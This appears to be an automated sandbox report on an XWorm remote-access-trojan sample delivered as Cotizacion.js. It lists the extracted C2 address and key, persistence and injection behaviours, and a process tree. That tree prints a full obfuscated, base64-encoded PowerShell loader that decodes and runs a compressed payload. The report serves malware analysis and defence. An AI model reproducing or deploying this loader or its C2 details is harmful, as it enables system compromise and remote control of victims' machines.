Analysis
- max time kernel
145s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20250610-en - resource tags
- submitted
07/10/2025, 18:05
General
- Target Cotizacion.js
- Size 301KB
- Sample251007-wpfw9swzcv
- SHA256 a02f741d30e33d72c6fdecf0ae1fafa2c44bfd40987a9480c2a11d8f5cd058d4
Malware Config
Extracted
-
xworm
-
XWorm V6.4
-
216.250.253.99:2478
-
tolEeHs5xdzS6i3Q
-
Install_directory
%AppData%
-
install_file
XWormClient.exe
Signatures
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Cotizacion.js1⤵
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\HolographicHandler.bat1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\HolographicHandler.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\HolographicHandler.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBgkoditbmet2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFgkoditbmetwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVgkoditbmetABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBugkoditbmetAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUgkoditbmetAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAgkoditbmetA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AgkoditbmetDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AgkoditbmetKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAgkoditbmetkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADgkoditbmetEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcgkoditbmetwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwgkoditbmetAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4gkoditbmetAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQgkoditbmetAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAgkoditbmetF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAgkoditbmetKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABgkoditbmetyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACgkoditbmetAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIgkoditbmetgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdABygkoditbmetAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIgkoditbmetAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwgkoditbmetB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAgkoditbmetDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AgkoditbmetUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAgkoditbmetpADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHgkoditbmetcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbgkoditbmetABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8gkoditbmetACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4gkoditbmetAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQgkoditbmetAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAgkoditbmetCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAgkoditbmetNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABgkoditbmetsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGgkoditbmetwAYQBjAGUAIgBhAHAAcABsAGUAcABlAGEAcgkoditbmetgAiACwAIgAiAC0AcgBlAHAAbABhAGMAZQAigkoditbmetAHYAawBiAGUAcwBlAHYAcQBrAGkAYwBwAHkgkoditbmetAaQBwACIALAAiACIAKQA7AGkAZgAoACQAYQgkoditbmetBwAHAAbABlACkAewB0AHIAeQB7AGkAZQB4AgkoditbmetCgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAgkoditbmetbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBgkoditbmetHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAGgkoditbmet4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYgkoditbmetQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhgkoditbmetAHAAcABsAGUAKQApACkAfQBjAGEAdABjAGggkoditbmetAewB9AH0AfQAKACQAbwByAGEAbgBnAGUAPQgkoditbmetAnAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAgkoditbmetEEASgBWAFUAYQAyACsAYgBNAEIAVAA5AEsAgkoditbmetOQBiAEUARgBOAGcAeQBhACsAMwBXAFYAawBgkoditbmet2AEUAaAA1AFMAbABWAGQAVAAwAEYAWgBMAHgkoditbmetUAawBWAGEAVABnAFIAdAB3AEEASgB2AGEASgkoditbmetgBnAG0AWgArAHQAOQBuAEkARQBuAFQAdABGgkoditbmetAG8AMwBQAGkAQgA4AGYAYwA2ADUAbAAzAE8gkoditbmetAdgBiAGMAUQBrAG0ARQB5AFIAagBRAHgAZwgkoditbmetBzADkAYgBJADcAUQA0AHUATwB1AGYAZAB0AgkoditbmetGoASAB4AHcANQBqAG8AOABCAHUAbgBkAFQAgkoditbmetdQBTAEkATwBTAHQAVQBTAEYAdgBDAGYAZQBgkoditbmet4AFIAOQBTAGIAOQBpAFIAbgB2AHEASwBjAGgkoditbmet8AWAB6AEoAdwBUAFEAeQBJAGsAagA2AGEAMgkoditbmetABhAEUAOQBSAHYAcAB4AHkAQQBnAHkANQBVgkoditbmetADkAZABnAHUAcABJAE0AVQB1ACsATABtAGcgkoditbmetAcQBzAEMATwBLAEQATABGAFEAMABHAHkAcQgkoditbmetBNAEEAZABrAEgAZQB0AGwAaQBPAEEASwBEAgkoditbmetEMAdAA5AGoAWQBUAG4ALwBNAEEAWABxAEUAgkoditbmetNwBOAEkAdABBAGwATQBCAFMANQBkAGgANQBgkoditbmetLAG4AQgBGAGcAbwBDAHkAOABCAFcATgBGAFgkoditbmetcAbwBsAGMAbgBYAG0AdQBFAGQAUABaAGMANgkoditbmetgBnADIARQBnADQAbgBNADEAQQBLAEEAMAA4gkoditbmetAEUAVAB3ADkASgBoAEkATwBQADcAdABLAGEgkoditbmetATAA3AFoAaQBBAGMAMwA5AHkAdwA2AEcAQggkoditbmetAxAGMATAB1AFAANQBhAGEAWgBHADgAMwBOAgkoditbmetHgANwB3ADIAdgB3ADAAcwB4AFUAZwA3ADUAgkoditbmetNABWADYAegA3AG0AUgAvACsAYgAwADMANABgkoditbmetuAFoAagA1ADEAOQA3AE4ALwArAFUAWQBuAGgkoditbmetsAWQA1ADMAcwAzAG8ANAA3AHoALwByAHIAdgkoditbmetgBUAHUASABMAC8AdABIAGkAdgBoAC8AYQBHgkoditbmetADcAawBBAC8ATwByAFgAUgBHAFgAOQBSAHIgkoditbmetAMwAyADkAKwB0ADYAYwAyADIAMABBAEoAVQgkoditbmetBMAFYAawBPAGYATQBQAEYAUQBFAEMAWQBuAgkoditbmetFgASwBRAG4AbABKAEgAawBPAE8ARgArAHYAgkoditbmetTgBYAGgASgB2AHIAWQBSAEkAOQBMADMAQQBgkoditbmetjAFcAcQB1AGkAbABFAHYAQgBYAEsAagBNAHgkoditbmetUAbgA3AFYAMgBKAC8AeABZAFMAUAB0AGgATgkoditbmetQAxAGEAaABsADAANwBWADgANwBtAEMAbgBPgkoditbmetAGIAYwB2AG8ARAA1AGgAMAB0AHYAQwByADUgkoditbmetAQwBLADkAdAA2AGwALwBnAGMAVQBpADQASwgkoditbmetA3AFIAVwBRADEARwB4AHUATQBlAHMAcwBZAgkoditbmetGEANQBpAGUASgAxAFoAZwAyAFgAZwBMAFkAgkoditbmetSwBYAHcAUQA1AFAATQB3AEYAUwA2AGkATABgkoditbmet4ADYAVQArAGEAcgBSAEwAVwBsAFQAWABSAGgkoditbmetUAQQBlAHkAOQBiADIAYQBNAGQAMgBJAFYAYgkoditbmetwB6AGEAUwBxAGEAQgBXAFQASABrAFoAbAAzgkoditbmetAG4AawA1ADAAZAB1ADYAcABFAHUAOABHAEsgkoditbmetAOQBYAEoAdwB5AEQAdABDAGsARQBJAEgASAgkoditbmetA5ADIAOQBYADMAagBoAGQAawB2AHIAegAvAgkoditbmetDAAdABvACsAYwB5AGsAdgA1AG0ASwBnAGMAgkoditbmetdwBTAGEAQwBpADQAbwA2AFUAawBIAHAASgBgkoditbmetvAGYAKwBrAHoAMABsAGcAagByADEAQwB3AGgkoditbmetYAagB1ADcAcABuAGgAcwB5AGcAagBTADcAcgkoditbmetwBXAHcAbAAyAG0AUgBIAEgARgBLAFYATgBigkoditbmetAG0ANwBqAEgAWgBqAHoAVwB0AHcAZgBMAGsgkoditbmetAMgBRADkAVQAzAFUAUgA3AFEAYwBqADQAbAgkoditbmetBMAGgAVQBRADgAUAB5AEYAeQAvAHYAMQBFAgkoditbmetFcAOABQAG0AUQBxAGcAVABLADYANgBxADYAgkoditbmetbwBOAG8ARwBpAE4AaQBmAGIAcQByAFUAMQBgkoditbmetwAC8AUQBwAFAAUgA0AEEAQwBUAG8ASgBNAGgkoditbmetsAUQBGAG4AcQBHAEsAcQB5AEYAMwBTAHkAagkoditbmetAB5AGgAeAAzADIAWQB3AEsAegBsAEoAZwA1gkoditbmetAFMASABUAEwAZQA1AFQAcAB2ADMAVwA0AHcgkoditbmetANwBFAGoANQBCAHAATABOAEkAaQA5AFIARggkoditbmetBsAHEARgBhADMAVQBHAFUASQBuAGEAeQAzAgkoditbmetHMASwB1AEkAVQBQAEkAYgBWAFoASABaAGEAgkoditbmetTABWAFEAdwA3AEoASwBRAEkAVwBxAHgAegBgkoditbmet4AFAAZwBOAGwAcgBjAE8ANwBKACsAdgBoACgkoditbmetsAcQBuADAAcABIADAALwBuAGkAcQB2AFYAdgkoditbmetwA0AE8AeABEAEMAbQB4AHgAegBXAG8AOQBMgkoditbmetAEcAaQByADYAcAB0ADMATwBxAHoAYgBVAEEgkoditbmetANgBMADYAUgBkAG4AUQBoAGsAbAB2AGMAdAgkoditbmetBNAHMAZAAvAHUAUwBjAHEAeABmAEgASABPAgkoditbmetDgAdgBTADMAUABrAHMARgAvADkATAAzAGEAgkoditbmetdQBvADUAWQB5AGcATwBqAGUAcQBPAHIAUwBgkoditbmetLAGwASQByAEkAYgBEADUAVwBqAE0AegBHADgkoditbmetIAMwBmAGEAaABmAFkAZgAyAFYARwAvAEYARgkoditbmetQA0AEcAQQBBAEEAPQAnADsAJABtAGEAbgBngkoditbmetAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADogkoditbmetARgByAG8AbQBCAGEAcwBlADYANABTAHQAcggkoditbmetBpAG4AZwAoACQAbwByAGEAbgBnAGUAKQA7AgkoditbmetCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUAgkoditbmetdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBgkoditbmetlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACgkoditbmetQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZgkoditbmetQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTgkoditbmetAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4gkoditbmetAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALggkoditbmetBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAgkoditbmetFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkAgkoditbmetbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBgkoditbmetvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGgkoditbmet0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXgkoditbmetQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApgkoditbmetACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACggkoditbmetAKQAKAA=='.Replace('gkoditbmet','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XWormClient.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\XWormClient.exeC:\Users\Admin\AppData\Roaming\XWormClient.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
HolographicHandler.bat
__PSScriptPolicyTest_3qurmghf.aia.ps1
XWormClient.exe
memory/4888-38-0x000002971F660000-0x000002971F6A6000-memory.dmp
memory/4888-71-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/4888-65-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/4888-61-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/4888-55-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/4888-50-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/4888-48-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/4888-46-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/4888-43-0x00000297063E0000-0x0000029706EA2000-memory.dmp
memory/5892-45-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-54-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-40-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-41-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-42-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-23-0x000001E869D00000-0x000001E869D10000-memory.dmp
memory/5892-21-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-22-0x000001E869CF0000-0x000001E869CFE000-memory.dmp
memory/5892-47-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-20-0x000001E869CE0000-0x000001E869CE8000-memory.dmp
memory/5892-49-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-18-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-51-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-39-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-17-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-56-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-58-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-60-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-8-0x000001E869900000-0x000001E869922000-memory.dmp
memory/5892-62-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-64-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-9-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-66-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-68-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-70-0x000001E850A00000-0x000001E8514C2000-memory.dmp
memory/5892-6-0x000001E8511CA000-0x000001E8511CB000-memory.dmp